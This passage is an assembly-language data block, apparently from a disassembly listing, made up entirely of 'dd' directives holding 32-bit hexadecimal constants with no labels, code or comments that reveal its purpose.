		dd 47545B4Dh, 0AED08932h, 79C3D1C4h, 0F39C0C92h, 0A4484809h
		dd 5D1AAF00h, 0BF39A333h, 898E38Bh, 0B7CB219Ch,	80111A3Fh
		dd 4C2F852Eh, 203F5E4Bh, 0DB0E4AE4h, 20ADECD3h,	77E6DA4Eh
		dd 0B9460F82h, 9A0E6504h, 472C4898h, 883AD630h,	0C6B51A5Fh
		dd 21D4E418h, 87DB1F00h, 30A98C7Bh, 499D0180h, 0CF06D2BCh
		dd 74508248h, 27BEE4BDh, 0E056029h, 0E21966F0h,	0ABD89F59h
		dd 1A089618h, 0C4DB3340h, 0BD6E409Eh, 0AF81Ah, 0F13A6730h
		dd 0BAB2312h, 0A139A402h, 8047CBB5h, 6C448B4h, 889A6537h
		dd 68D4045Ch, 0FCAF300Bh, 81E22365h, 0E7C08h, 0C3FC968Dh
		dd 0C278C897h, 443CCCA0h, 0BB738303h, 2E5D5F7Ah, 0EA6169h
		dd 0A76FC491h, 7F3A8C4Ch, 215430A8h, 49654Fh, 0A226766Ch
		dd 0F53AAA09h, 0F288B00h, 144C719Eh, 50D2F0F9h,	8C9F88D3h
		dd 5C3B1AF2h, 80F45333h, 681ABACAh, 138F0340h, 5BE4B5A6h
		dd 0DDD27900h, 6DD00E41h, 70AE78CAh, 0C8E21D93h, 59D0F086h
		dd 370EF28Bh, 0D1CCB5B8h, 0B3FADA03h, 4F534C8h,	0BA07A8h
		dd 0E402547Bh, 0A891F14Ch, 1A9187AAh, 319333A2h, 0B9C9109Dh
		dd 0F876001Ah, 0E53ACD07h, 0F40029B1h, 3F1949A7h, 6D24E4Bh
		dd 47798FE6h, 0DD0198B9h, 5EE1C994h, 0CEF883Eh,	55C7B548h
		dd 0AB49F9A9h, 0E919002Ch, 0FC8612BFh, 234D00B5h, 0A4662094h
		dd 27000D84h, 0C4956569h, 0C16A2F56h, 0C9E63760h, 67802096h
		dd 0E85EBB2Bh, 3049410Ch, 0E8A8534Fh, 9B396222h, 86EA8069h
		dd 37D103ABh, 425118A0h, 8145216Ah, 193EB160h, 95D40ECh
		dd 6CEDE3FBh, 869ADA00h, 44913CDBh, 5EE09702h, 0B8C881B4h
		dd 83DE42EBh, 0F043C770h, 0DCA721h, 839F5F7Fh, 6B33BA3Eh
		dd 69466890h, 9FCA012h,	683189ACh, 8E218051h, 65AFFC97h
		dd 13FDA023h, 0B5E412E3h, 449820E6h, 9840FF0Eh,	2E760037h
		dd 0D04EB07Dh, 0F33E8D56h, 0DB3C0051h, 990B25DAh, 0A31230D8h
		dd 0AF5B4B8h, 3EFC4EDFh, 20890011h, 5D7F9259h, 0E50E0AD3h
		dd 8CBC51F2h, 325867D9h, 4289E800h, 0E428CC5Bh,	1F8C09CDh
		dd 388162F6h, 496B0DC2h, 5CC84070h, 70A499E2h, 885344h
		dd 1219FC9Dh, 3B498EA6h, 0DFDCC407h, 78CCD37Eh,	2664190h
		dd 42307BF8h, 0C4921149h, 0BC688897h, 0A0496A80h, 7A32AB05h
		dd 5F30109Ah, 73EA2150h, 91AA006Dh, 0B86249C3h,	7639AC2Ah
		dd 3E01C0E4h, 7C93932Bh, 0AD6C0058h, 4E091C56h,	0D6E0F701h
		dd 0FED33F9Bh, 50CB5020h, 0F833C051h, 508C4870h, 9310A848h
		dd 0CEED0E81h, 0F5189858h, 860C248h, 98832F13h,	41D4AEB8h
		dd 0B216C0E1h, 283F2C24h, 61AC52EEh, 2A1F20E2h,	0FF30830Ch
		dd 72B5FAE8h, 0F0047528h, 44DA59BAh, 8804438h, 0CD5F5A8Ah
		dd 8E0026B1h, 0D1573D06h, 834685h, 8FC3B2DAh, 0D61EF3D0h
		dd 885EB600h, 302B0B9Ah, 1C90303h, 0DFD10514h, 7231BBC0h
		dd 0CC4B4400h, 0C7AF5A7Fh, 124372C4h, 3B6FA80h,	9815F1A8h
		dd 0FCFDA088h, 0B4CBE700h, 32F6149Ah, 0F54B0603h, 28D39DCFh
		dd 0B7710500h, 0B66C4F5Eh, 540119F9h, 837008B9h, 5ECF1321h
		dd 0B534F8D0h, 88903E1h, 58504091h, 0F10098CEh,	432FE90Ch
		dd 628C45Bh, 51149925h,	0D10340FEh, 0A7AE42FAh,	0EAD01664h
		dd 386518F3h, 6B01C0B6h, 4C82724Ah, 604032F5h, 3F78B105h
		dd 0F2013640h, 0D09E7533h, 0E688DC1Ah, 74D228C1h, 5087063Ch
		dd 165805D7h, 0F500911Eh, 0B4BC962Ah, 33E57539h, 0E408419Ch
		dd 52F02100h, 51DE5596h, 1FF7A112h, 30606AF0h, 98702306h
		dd 29024691h, 1EA17E47h, 5A4E0CEh, 244000DBh, 698C04F0h
		dd 0BD00E280h, 8E3164DAh, 7FA393h, 675177F7h, 0CCE74DF3h
		dd 0C40753F4h, 357E202Fh, 0B777D2C0h, 9ACA1D8Fh, 0F53EC7ABh
		dd 166B707Dh, 0B000295Dh, 6F0D7719h, 0C0FC42BCh, 3391D130h
		dd 0C83F59FFh, 0DC3E8CEFh
		dd 0EA6569D0h, 9D1E869h, 57ECD26Ch, 0F45D9000h,	0C1EAF1Eh
		dd 0E09F90FFh, 5ACA1440h, 30CC2767h, 419E6C0h, 340175F1h
		dd 24D25869h, 4080A387h, 317F688h, 6E1C1821h, 2F4063F9h
		dd 0B761FC5Eh, 0B0F01E0h, 98FDF646h, 0A838EBD2h, 0FC0A8051h
		dd 0AD786332h, 7B761079h, 0F1D200A3h, 0B93991A8h, 0C8DB6F30h
		dd 0DD9B809Dh, 932F47D6h, 0FD4D9807h, 0D180B4F6h, 3BD478D7h
		dd 903F3095h, 663E45CCh, 0CE448800h, 0DCA89CA5h, 61639h
		dd 3DF6227Ch, 3EF88A20h, 218010D8h, 0EA5648B0h,	3E1D17C0h
		dd 3218E01Dh, 721619h, 435C684Fh, 835263ECh, 0F6F24007h
		dd 711090BFh, 2CBD5621h, 30D3476Bh, 0B26DB010h,	0F14C4B00h
		dd 6F5740CFh, 0D2993E01h, 0C2C7C503h, 49BEB7CBh, 1BAE5A00h
		dd 6D51D150h, 6B7B314Ah, 60AF9A38h, 2330F9B6h, 0D43D288Fh
		dd 628039ECh, 7AC369E1h, 0F0FEEC63h, 0E3871B00h, 6F010CB7h
		dd 0F2F7003Eh, 0EED2EFD5h, 787EC427h, 5CAF1F00h, 0C7DD7984h
		dd 0D96C3358h, 467A80E9h, 1D28C560h, 0E44B10F6h, 0ECE806BCh
		dd 0B17AE3CBh, 195CB830h, 447E7322h, 0A93B2074h, 1821BC60h
		dd 5159ABCBh, 0BD7B1D5Ch, 80A68135h, 50491256h,	0FD395094h
		dd 7C8E620Eh, 0BD722086h, 60E5704Fh, 7668E1F7h,	0DE580E46h
		dd 8F9500CDh, 49886C3Eh, 6820071h, 35BA1E4Dh, 1B1E0E47h
		dd 15005CF5h, 7B74CC32h, 3AF40164h, 0E2FA85EEh,	0FF5CCCE5h
		dd 27A1B1Eh, 838ECC0Fh,	788D1D5Ah, 0F6E71420h, 5B0018A7h
		dd 4DDC2A0Ch, 6200B9C5h, 0E86010D2h, 0C051B2h, 923F8B86h
		dd 79DF8864h, 80D2200h,	0DBFED185h, 5F7A009Ch, 139D6214h
		dd 14AD1AFCh, 86818C18h, 0FD99DEDDh, 6FC7A501h,	0FC5E5A8Bh
		dd 0E7066DE1h, 66114299h, 3060031h, 29BDDE30h, 0B7F6A872h
		dd 3227731Eh, 4B615F00h, 397FC440h, 1580972Eh, 0D1BFBA20h
		dd 8D309F0Eh, 0F828E892h, 61AE74D6h, 0DF421088h, 8900CB32h
		dd 14DCEF67h, 0EEFB40A2h, 64A1BE3h, 0ED88089h, 6B0336B8h
		dd 1AA79297h, 0D8180084h, 85E0693Ah, 5A02480Eh,	9D3D8B61h
		dd 0CCACA04Ch, 7FB80Fh,	28801934h, 48BDD055h, 0B9C7304h
		dd 2EC08609h, 0B8D7002h, 0C0634EB3h, 0A765007Dh, 749ACEh
		dd 0A595781Bh, 0A19D1EACh, 459FC60h, 2CAEF5Eh, 1D294165h
		dd 49F470Eh, 283521D8h,	1808A76Eh, 20162F2Ah, 0BB006F61h
		dd 59D75743h, 66155Bh, 0B1ED9969h, 0B29C2AFDh, 9947333Dh
		dd 1D29A470h, 17448F08h, 7CB34408h, 54D111F5h, 48015417h
		dd 0A2BE42C4h, 20209524h, 3081B56Fh, 0EB441F08h, 0AE5A4069h
		dd 4CE26000h, 2641C24Eh, 378F001Bh, 98C5FB0Ch, 62FEDA03h
		dd 88272300h, 0CAE554DBh, 28970082h, 71CE86A3h,	5700BC8Ch
		dd 81EAB747h, 27D239h, 1F6E420Ah, 0BD461B53h, 660014B8h
		dd 9FA969DBh, 0BA39CBh,	0A484A68Bh, 0D7120B4Ch,	0A8AF5700h
		dd 3DFCF7Eh, 662603C7h,	76A7EB2Fh, 0FC9A6C91h, 1C3BF8DDh
		dd 582100D0h, 0C9228311h, 61AF008Fh, 0B7F68D47h, 1F013AC2h
		dd 0FD17A080h, 0C80AB43h, 7D50E598h, 0F002B648h, 0F1B9F2E4h
		dd 0A8ECA0FFh, 187949h,	0A4FE7DCEh, 0C4BDE64Ah,	621A500h
		dd 1995A244h, 388D7D28h, 7DA49BC5h, 5A70316Bh, 0C643CC16h
		dd 0F4C32240h, 0E620004Ah, 24532F10h, 9300E59Fh, 0AE150786h
		dd 0CB34163h, 0BD99B8E9h, 65208888h, 989B52E1h,	0B67855C0h
		dd 89003463h, 90F88285h, 740B6ED5h, 49AC03C2h, 0DED05C8Ah
		dd 0C8928800h, 98C9CD59h, 6F9307F5h, 0A3B9A91Ah, 3CF8A0D9h
		dd 613D267Ah, 3C680F7h,	8CD08137h, 29C700B3h, 85C54B01h
		dd 1C07C88Bh, 162BF021h, 0C8AF6B73h, 0A47A9Fh, 276EDF5h
		dd 0B7F72FF8h, 28D85400h, 1D0C9DE5h, 0F5190078h, 0ACDEFB1Bh
		dd 0AD0080F7h, 441ABB8Eh, 246A851h, 990237B7h, 0A1604336h
		dd 0A7006B77h, 878C39A4h, 9A5FC1h, 9CC2F40Fh, 0BA7F53D8h
		dd 490E1C00h, 0EE256338h, 0E29000A6h, 4222068Ah, 5004537h
		dd 0E3B7D723h, 19D0FA5h, 249AAC15h, 0DCF3D948h,	90A1FCA4h
		dd 6A54FCC5h, 4E28C81Dh, 6382AE00h, 97FF83h, 0A51F20DCh
		dd 8F26BDBh, 4866803h, 0A733E5CAh, 0E06177E2h, 13AAE34h
		dd 0A54FC623h, 0F8FECF34h, 9800011Eh, 0A1B59E4Bh, 1D63B467h
		dd 0CB508EF8h, 0D0800D55h, 0E9FBD5A5h, 1C982EF0h, 99CA1C04h
		dd 0DF80F684h, 7008B029h, 0BBF40E7Bh, 742F2BDFh, 83CD1820h
		dd 8F0188FBh, 6F3B41DBh, 0C3D4555Eh, 6B5700D0h,	0BFC0ECCEh
		dd 42093CF3h, 83BC7E3Bh, 0C0EB9BD9h, 0EEA9F6h, 93EDF764h
		dd 828E6B56h, 0CFDFBD03h, 0C860D623h, 314F639h,	494CF90Ah
		dd 81C84D94h, 0D008B63h, 8C3DAEDAh, 703E24E0h, 0B4480069h
		dd 13D59829h, 640096ABh, 7D049BAFh, 0F756DBh, 0F6916BADh
		dd 61C96A92h, 4DE21500h, 373E8E1Fh, 0EBFA0713h,	1F73EFF2h
		dd 0A6A980A2h, 0A78698E0h, 0BB50E800h, 0AC38C19Eh, 0F5760047h
		dd 0E74948C2h, 490A596h, 17C44500h, 9505EA1Dh, 7A860306h
		dd 59DC67D7h, 4683BE00h, 9AA3A933h, 96D00029h, 0DFCD6C20h
		dd 6F036B41h, 338A6257h, 54CB90C0h, 0C4312402h,	6B970404h
		dd 0D4132D23h, 0A4ECA81Ah, 0FFFEE0h, 16577E38h,	0B6DD2E85h
		dd 1C298809h, 36FC0055h, 47DF1Eh, 0BDB84995h, 0BB90C2ADh
		dd 10E24Ch, 0FFC596B4h,	6E1003h, 0CF769177h, 2E0CBD7Ah
		dd 993F530Bh, 881B06C1h, 7E4703F0h, 0CED95889h,	0E88F4000h
		dd 71A22DDDh, 470F00B5h, 0C945906Eh, 0BF002E7Eh, 22B4F870h
		dd 139F1D79h, 5BDD4Bh, 142FC154h, 7000EAAFh, 7E4EBFABh
		dd 1D751DCh, 0B8894BFEh, 0E807A032h, 1F0016DAh,	4C977BA6h
		dd 9003B0D6h, 0E87800D8h, 2B62EC59h, 0CF004046h, 0ACA0B22Fh
		dd 0E2A52EC2h, 70680057h, 8A5D90C6h, 0A00B8F4h,	22A87FCFh
		dd 3C1DCDD2h, 42007261h, 19093B96h, 4C1C59B8h, 8600F0DAh
		dd 80BE80Fh, 0C4C95C8Fh, 0FE116400h, 0CC3DBCCAh, 1DAB1C3Ch
		dd 0AC00898h, 1284AC2Ch, 0EA205C9Ah, 0B2948300h, 8975A499h
		dd 3F0FFD7Ch, 20B347C1h, 1898E7E2h, 1E1900E3h, 13CC43F1h
		dd 0C500DDF3h, 310304EAh, 3F927Fh, 590C96C6h, 0FCDAA464h
		dd 8A32D600h, 8E05AD13h, 8702000Eh, 0EEAEFE69h,	5BF01499h
		dd 95DB4E00h, 7BC86B1Ah, 4AA7006Ah, 0B6D7A5E7h,	0A2B0592Dh
		dd 9A89A800h, 35B43BA4h, 0F0AE03C7h, 0DE113EFAh, 4F1D14A0h
		dd 0DF340901h, 18DC79DBh, 0ED93C0F6h, 0E801004Ch, 462A5C92h
		dd 167D25FCh, 9B006AFEh, 0CED8833Eh, 0ED1D454h,	0E8354E67h
		dd 6B24A8E3h, 1CD78BE8h, 930A9216h, 0BA976700h,	98B6E716h
		dd 1B0D1CA6h, 646E43h, 0A0CBCC3Fh, 2D4CAF32h, 23920033h
		dd 80F9CF60h, 0DD2F00E7h, 8518064Eh, 0E9005977h, 0C9F6ED6h
		dd 0E0B210Fh, 6BB88824h, 0DDB56320h, 0F300AE35h, 0B3924211h
		dd 12F81AEFh, 1CD4BB6h,	0B2B72640h, 51D4F45Ah, 1434B500h
		dd 579D7C2Ah, 47D816BFh, 718804E0h, 0CBE090D1h,	650043F5h
		dd 0A14E56C7h, 16AB508h, 0A30C074Dh, 0D4587342h, 20F3B913h
		dd 7B1631D0h, 8020DF62h, 7BC9274h, 5331B71h, 0FBB27151h
		dd 0B773FC20h, 0B855D52Ch, 0C459D400h, 0D6761Dh, 2F5E5B4h
		dd 63BAF270h, 4CD21000h, 141E86C2h, 42B18C6h, 5570A2E3h
		dd 96609200h, 3310E7F8h, 7AA70077h, 0AC268AB4h,	5E00E8BFh
		dd 5EE9D3Fh, 9B0C03h, 1B1FAAABh, 0B5573364h, 8A1848h, 0A94CAFDBh
		dd 9D6E95h
		dd 0A3DFEA9Bh, 7884481Ah, 7DEDF200h, 5EA1910Ch,	0B82600D9h
		dd 4F7B32A2h, 0E4A08964h, 27009FB3h, 8C1A4605h,	0F287739Eh
		dd 5D52017Bh, 3A339BFFh, 207CC8AAh, 0C81C0324h,	809F8900h
		dd 3DD7ADEBh, 590F36A3h, 0D9A1D81Fh, 712CC8B1h,	0FBC360E8h
		dd 0ECA27505h, 908206FDh, 79CA07Ch, 14E15Ah, 0CAAC0F89h
		dd 263995FAh, 8812E00Bh, 0A7C00324h, 51BE9D9h, 41B070h
		dd 70172511h, 0D1CEE11Eh, 0FE07E403h, 0D0F7DCABh, 3F9E1468h
		dd 59004CF6h, 9DCF9A92h, 0B3F4905Ch, 83F3F400h,	0E3445382h
		dd 67E900D9h, 49365826h, 0E51743CAh, 6E00229Ah,	0F91DA4A0h
		dd 0CF291625h, 0CFC44D0h, 2950083h, 0D2C97Bh, 184AF3B7h
		dd 0BBCB08FFh, 464CDDE0h, 0EF0D00C0h, 0DE0BC1AFh, 4EFE01ADh
		dd 4B2C6EE7h, 913FD8B1h, 40297E00h, 79E1F2B5h, 0FBC8015Dh
		dd 20E9C2B2h, 6275C976h, 0CCCF02DCh, 0C081CA0Ah, 26C3F38h
		dd 180DDE2Ah, 8CC0F3ADh, 7200E60Bh, 3F99EDABh, 0E184A4h
		dd 578BC9B5h, 0F2EEB730h, 14AA100h, 0D246E756h,	382E0282h
		dd 0B8D9348Bh, 921408C0h, 0E97D7007h, 0F530DF99h, 26D1A4Dh
		dd 16A0CC50h, 0A8807A4Ah, 1165C863h, 998C1D07h,	95B040B1h
		dd 1E755B8Ah, 68C523ECh, 80E25885h, 525F1700h, 0DE2D47E6h
		dd 0A4902CE6h, 78EC7600h, 42C6A9CCh, 829B0030h,	0F6D24497h
		dd 0E42E3573h, 0C5006CB2h, 1D0C2F4Dh, 724F1709h, 0A1F8009Ch
		dd 0E907D6B5h, 4B910A38h, 16FAB407h, 0B61E0310h, 0E27A0020h
		dd 924C4245h, 58170CF6h, 1C1EA724h, 0CFD8A000h,	48145E15h
		dd 0F6002C7Dh, 4D38AE6Eh, 6B003C19h, 4735A099h,	39757E6Ah
		dd 2E0915E9h, 0FF8E8E93h, 41D40562h, 7CEEB4C8h,	0A4546624h
		dd 81BBFB00h, 0C9FD4069h, 0EC802A58h, 2D9E0187h, 33360601h
		dd 0A63548Dh, 50AC1BC0h, 780883Dh, 855321FCh, 0EE4572C3h
		dd 0EDD74E3h, 0CE40A5F8h, 2AE89203h, 0C9FC3B00h, 0F626BF25h
		dd 0E6730065h, 33C19F32h, 374E40C4h, 6B092CA8h,	4027FCh
		dd 1517A3DDh, 0EC002CE4h, 0A79AC7D3h, 5CC90668h, 2930D521h
		dd 2CAE8204h, 0E60003F0h, 45DA944Ch, 3D4FFE02h,	603CDBC8h
		dd 0BAA792h, 7CAE5136h,	6675F4D1h, 1617EF0Eh, 5359207Dh
		dd 4E34A0h, 6150AD8h, 0B82EAF24h, 75714500h, 6754A531h
		dd 6D890D6h, 1D84B7A1h,	0A9031194h, 0C99650E2h,	0A59DA890h
		dd 0F4C10083h, 3202302Dh, 250ED26Fh, 0EF074035h, 0F0B964C2h
		dd 0E2B00E0h, 0E0516772h, 91F9DBA0h, 0D20FF5E2h, 0C150A0BFh
		dd 5A03E390h, 0BCADCh, 762EF617h, 0C909D9C4h, 580AD004h
		dd 28802D29h, 3056CA7h,	0EFA6E679h, 9F8DA47h, 5A00BB74h
		dd 0AC228A6Fh, 0F7F4C8h, 0E2EEFA44h, 31A93EF0h,	4CB86101h
		dd 74F98FC9h, 5C1FC8h, 2A797F0Dh, 6148F842h, 0D6E487A0h
		dd 94CDE007h, 0DE901F50h, 124BC88Ah, 0E3E93B6h,	5AE0A37Bh
		dd 0AF5C1D1Bh, 0DEA87409h, 0B000F7F6h, 9C440951h, 30052ECh
		dd 0D5F7A1A5h, 0C6665h,	337094BBh, 308E24CEh, 8CB870Eh
		dd 93A3A09Bh, 95E696h, 6173F5AFh, 3DEC6B86h, 0FAA58909h
		dd 79CC8001h, 0B8BDC8h,	0C6860239h, 0C058CEF2h,	260D4500h
		dd 0BA6717F9h, 0B0D30476h, 8007D225h, 0A57D9C18h, 0D4F5ED07h
		dd 3C00C910h, 3B7E0842h, 5504BF7Ah, 0C14F54E4h,	0F8063B44h
		dd 931D1287h, 1B40F7D1h, 857F1D99h, 807601DEh, 0EB4B844h
		dd 3A420EBh, 4E39D001h,	82A80BCDh, 295830h, 0B7A27EBBh
		dd 7848618Ch, 0D50139F8h, 28681956h, 73C54AAFh,	1DBF6464h
		dd 9F53C4BCh, 3AB40031h, 502B4F65h, 1B089407h, 5A3009D6h
		dd 0E85155h, 0E6C4C099h, 0FA89E9D3h, 0CBB8D00Fh, 4752C0D6h
		dd 4DEBBDA9h, 0DD263CC2h, 3A4C849Ch, 6204F00Bh,	95671100h
		dd 6D997122h, 0EBDC005Ch, 613B1F04h, 500063A9h,	9E55237Ch
		dd 0B08FB9DFh, 35A100D4h, 29F119A0h, 9AC068h, 3C6E651Ch
		dd 20A1081h, 0C7C0A96Bh, 7167012Bh, 24AB82E4h, 42C68C8h
		dd 0EE6BBB9Fh, 3274D080h, 83550F06h, 28C26805h,	0F0832743h
		dd 4E0E871h, 38DC1C9Fh,	20DC1553h, 7CF6B850h, 21EA181Ah
		dd 0A2A06156h, 0C0B31128h, 842C5Ch, 4D90FC32h, 5426F4h
		dd 9C8382ECh, 5059AC44h, 0CF76AEF0h, 7BE5A400h,	0F25C8EB5h
		dd 0F34F3B49h, 29BEF806h, 1501A081h, 0DC594C0Dh, 0B5C43BE9h
		dd 0ADB000F1h, 0B7F73EE2h, 0EAF4719Dh, 2CCD3100h, 356F03FEh
		dd 0B8C7E66Dh, 0DA3700B4h, 0BEDD9873h, 2A007AC8h, 0F7A2508Eh
		dd 0CE8D1DD2h, 0AAA07E11h, 406381D5h, 0E1F50C00h, 73348489h
		dd 0F242042Bh, 0F10565B9h, 0B20EDF0h, 0C0D37E07h, 344480A9h
		dd 200E1B3h, 550FFF98h,	5A4E335Dh, 72A83Dh, 0CED643FDh
		dd 30AF6D0Ch, 0AE78D366h, 0E4185B6Fh, 0A3703AB5h, 0CAE14027h
		dd 687C48h, 509624DBh, 166C64h,	6B1FD4D8h, 95D1B7Eh, 4ED65416h
		dd 0BF213040h, 76E95135h, 0CE2D0737h, 505A7739h, 87502919h
		dd 113A9000h, 0B78BDD73h, 25FC0328h, 0EB7C55B5h, 0C30252F8h
		dd 0C48CBF00h, 68D55C8Ah, 223805DBh, 8001E2CCh,	7554F7A3h
		dd 0A6202707h, 0FD805A7Ch, 3910F6B7h, 9C0074ADh, 7244022h
		dd 0AA00DDDEh, 0DE0F891h, 1CE2703h, 8CC2C1BFh, 20BA7935h
		dd 5C00EA1Ch, 0BCF80B23h, 0EE5144h, 8BCB7A1Dh, 0C6E49D7Ch
		dd 36A37F00h, 0D0564ACDh, 0EC4B02FDh, 0EBD77137h, 0AE003C78h
		dd 9B914744h, 5C02E8DDh, 0B00E3CE6h, 9220C70Fh,	0DCC012F7h
		dd 5758A200h, 0B223456Dh, 3A8B02A4h, 0C5F13D63h, 4C14C878h
		dd 87BC888Eh, 6007872h,	0E86BC8D4h, 0B65002Eh, 61E2F764h
		dd 9600D79Ch, 0BB819231h, 50EADC13h, 0B0CFFC03h, 0C4EF3ED8h
		dd 7B508A00h, 972B9B4Eh, 2969FF03h, 0F02F0D65h,	0FC0C1B3h
		dd 459F308Fh, 9B404F8Fh, 63DD43FCh, 1A95D800h, 0AD8064EBh
		dd 7EAB0028h, 154AE6CEh, 0DB762986h, 0B5309400h, 20A46DB4h
		dd 135970BBh, 0CF9BA0h,	0EC223B1Dh, 1C001397h, 31E4ADC5h
		dd 5D77256h, 3F9F9E88h,	4538C1D9h, 9190F016h, 4802765Eh
		dd 50EE35CDh, 0B5A800CCh, 73C88D19h, 0AB242F79h, 8E8080DAh
		dd 8B0F2103h, 2E173E2Ch, 7D989382h, 0EC60F350h,	567A1422h
		dd 9C647607h, 4232F00Dh, 0FB494041h, 4C11056Eh,	907C4060h
		dd 687026ACh, 6473B201h, 0EDF7C3D3h, 1CCD6E4h, 10113E98h
		dd 349B6035h, 0D806184Ch, 494A7D48h, 0BA477C10h, 805E7860h
		dd 95013EE1h, 0DD758B84h, 0AC21AB35h, 0DEC9F8h,	0BC3FF90Dh
		dd 109B2642h, 1BA86E00h, 1FB551C6h, 0B7DC00A6h,	30BEF6A0h
		dd 4A7B4B52h, 314CFA05h, 0C083F895h, 7189A1B3h,	0FC8BB7C8h
		dd 0CFDF0027h, 1D19FF9Ah, 0F0906661h, 78C32200h, 0CE40728Fh
		dd 0B7451C10h, 0C56E40D0h, 0DECAAC99h, 0FD00E273h, 0F850FB4Dh
		dd 0A44F4E8h, 73AD63F7h, 83B88BC8h, 6FFB2460h, 0BF8B749h
		dd 4260434Ch, 8B9F60D0h, 83BB072Eh, 0B084AD6Ch,	9346E5B7h
		dd 94BCD500h, 0C64417C5h, 66980030h, 63AE5039h,	2609AF4Ah
		dd 821032B8h, 22793740h, 4F007556h, 9B3B76h, 6DFB6F60h
		dd 0C4B5345Dh, 424F902h, 20727368h, 6DF49F42h, 0A005570h
		dd 5C5E94EEh, 3D348B53h, 0B91E8F77h, 0BB6D44D8h, 0F8F4C031h
		dd 1500F3ECh, 0C6DE4A27h, 0B0BEE2h, 6017C85h, 0BB8ECFCBh
		dd 0AEDC7B3Fh, 9903620Fh, 0E02292A8h, 7E7C3Bh, 368D736Bh
		dd 0CC29EEBAh, 3A3EA176h, 0C6620CD8h, 0FAA53h, 28A9A754h
		dd 0E06CAE5Eh
		dd 0B2B9B813h, 9C2A4000h, 324F1E2h, 299106FCh, 0CBF13A5Dh
		dd 0A7E0D6BCh, 750389BFh, 0E498A20h, 6E5FA090h,	50160034h
		dd 0E536FAABh, 0DD16078Bh, 1C0920DBh, 7040830Bh, 2FE2DAA1h
		dd 0E1EE9460h, 45E288B0h, 6BE7A400h, 0D99D4930h, 0E48302FDh
		dd 2E7E9A32h, 1119E880h, 0ED03953Dh, 38CBD974h,	6001A243h
		dd 0ABF9A30h, 0FFF79387h, 450A04B7h, 8E1CC634h,	30B9125Ch
		dd 443010C7h, 0ABB61085h, 0B29E00C8h, 7FB37208h, 39912BBh
		dd 465CC080h, 64001A23h, 0F3D93AD6h, 2C237B0h, 731718Bh
		dd 0D88134FDh, 0DD482683h, 0B0F020DFh, 24424700h, 2DCA74EFh
		dd 0B1AF0094h, 6890578Ah, 0FB00B8A0h, 146F218Ch, 246C2B39h
		dd 34C444Ch, 40BDFFB6h,	3E6D2098h, 0DA619A00h, 0EEB3F467h
		dd 26AD04F6h, 80120557h, 0DB9297A9h, 0A90080F4h, 6D240BBEh
		dd 7F499C79h, 72CF1CCDh, 90AAD28Ch, 0B63ED1A0h,	0A01423Fh
		dd 0DC961833h, 7C219900h, 1BFD20h, 0F55B32B9h, 0D7E42BC2h
		dd 0A8018A5Eh, 5EB32839h, 0FE051C4h, 79367A52h,	5935A020h
		dd 0A700C790h, 0EBFD59Ch, 8A7D7Eh, 0A3A99F34h, 4ECF2BA5h
		dd 1FD66600h, 5880F704h, 82FA2E3Ch, 0AF3302DCh,	0CF1DDE7h
		dd 6752D81Fh, 62ED610Fh, 0E3995A75h, 315591D8h,	3B055830h
		dd 0C09EA8D1h, 0EFB6092Ah, 0F42EBCA0h, 0BF838E8h, 0C57B7400h
		dd 9A2552F0h, 0AD440087h, 0A01FDFF2h, 2800FC59h, 0FD2FB612h
		dd 79C52C6h, 98E1CF82h,	0EEC02E24h, 6D4A250Fh, 645A9E00h
		dd 4E74E5DAh, 58BFCE3h,	0CC9B7B87h, 0C3908055h,	95F0650Fh
		dd 350A3D00h, 6F265AE7h, 5FA00B9h, 0D24821B1h, 0CA00A787h
		dd 285C4156h, 26F2FA9h,	0C2F2E515h, 0A740C868h,	8409B308h
		dd 0AFA214h, 0C5ECAF2h,	401000E1h, 0D470B15Fh, 33007BF6h
		dd 0C7BDB527h, 1908B16h, 29E4CD7Eh, 62F915BCh, 0FD03F48h
		dd 8520A145h, 0F0EED371h, 0B4007A98h, 0BF8952EEh, 47D9A64h
		dd 4741F8ACh, 0AD60A051h, 3B449B00h, 1C7563F0h,	59EC097Ah
		dd 18890C2Ch, 23DC1780h, 0F925BF0Ah, 20DC8BE9h,	2C5A28BCh
		dd 0A5C50527h, 0DECE9Dh, 0E9EC86ECh, 8E003E26h,	24B12E52h
		dd 2924A5Ch, 0DB3414A9h, 0B07884C1h, 594C2909h,	6AF0A285h
		dd 964440FBh, 0EBA0028Dh, 3A9CCD0Ah, 45C21082h,	353E1C80h
		dd 0C990B53Bh, 365884E9h, 9C2081C1h, 888861Eh, 121909D6h
		dd 29802E0Ah, 8A50D3CFh, 8325A63Bh, 0B86ED49Ah,	860AB87Ah
		dd 0AE7E0B1Eh, 99008378h, 7F2960BCh, 63AA3Fh, 853D398Dh
		dd 5233413h, 8CB67A08h,	380C0096h, 0C3D19BB9h, 1478D313h
		dd 0C0479C80h, 8FD0173h, 0BC1218BEh, 0AECD0A6h,	979CF815h
		dd 90982170h, 0D9D403CDh, 0F0661584h, 85B6F0h, 0BEA6D7EDh
		dd 0BD2946E4h, 6B30B200h, 0F0F49D08h, 0AFD400B9h, 0AA982A8Ch
		dd 1A0F11EDh, 402D0302h, 0CCF1751h, 0C32B0F04h,	405E2F9Eh
		dd 16876A5Fh, 0A1076BADh, 0EF61FDA4h, 132D43C0h, 40190003h
		dd 4FE5FF49h, 84005DDAh, 0E05436A6h, 3D68DEE2h,	0FE8394EAh
		dd 0A2530D85h, 1DDB53DFh, 803042h, 0D83B9B89h, 199AF1C3h
		dd 8F9AE5Bh, 0EE218067h, 281B3B4Ch, 0E7623BE0h,	8CB83000h
		dd 4069BE44h, 0FAD67912h, 0BFAE5840h, 2889E56Dh, 0CCDC8EC6h
		dd 0CE213E09h, 946DD701h, 0F4C0530Ah, 0F324033Ah, 0B8E8EF60h
		dd 570088FDh, 29418510h, 3E3C5C34h, 4806B956h, 200E54D7h
		dd 293C089Ah, 0E2D5164Bh, 0FD00945Eh, 357F14F5h, 2D65078Dh
		dd 463BBD9Ch, 0FF7F315Ah, 3C983AE2h, 447B9504h,	508079ACh
		dd 0E2A585BCh, 29BF06FDh, 0E077B848h, 0B6158C00h, 2C85E31Dh
		dd 41D828E8h, 0E950217Ch, 0A26DCC80h, 868D5E89h, 0A72D44h
		dd 0E4216DA4h, 7282A981h, 0F4635Ch, 0BEB341D4h,	3D6ABCFDh
		dd 75000DD2h, 80651BF4h, 49009130h, 6C76B74Fh, 7AF3AFh
		dd 0FEA5B31Fh, 93C62281h, 2B557500h, 0D0F92D68h, 889B4CB7h
		dd 0F42C8800h, 73CF089Fh, 1DAD1900h, 0FEE0DEDDh, 687A3F63h
		dd 0B5959101h, 80802D41h, 0B7E8CC6Ch, 7CAD58Eh,	0C2F13F61h
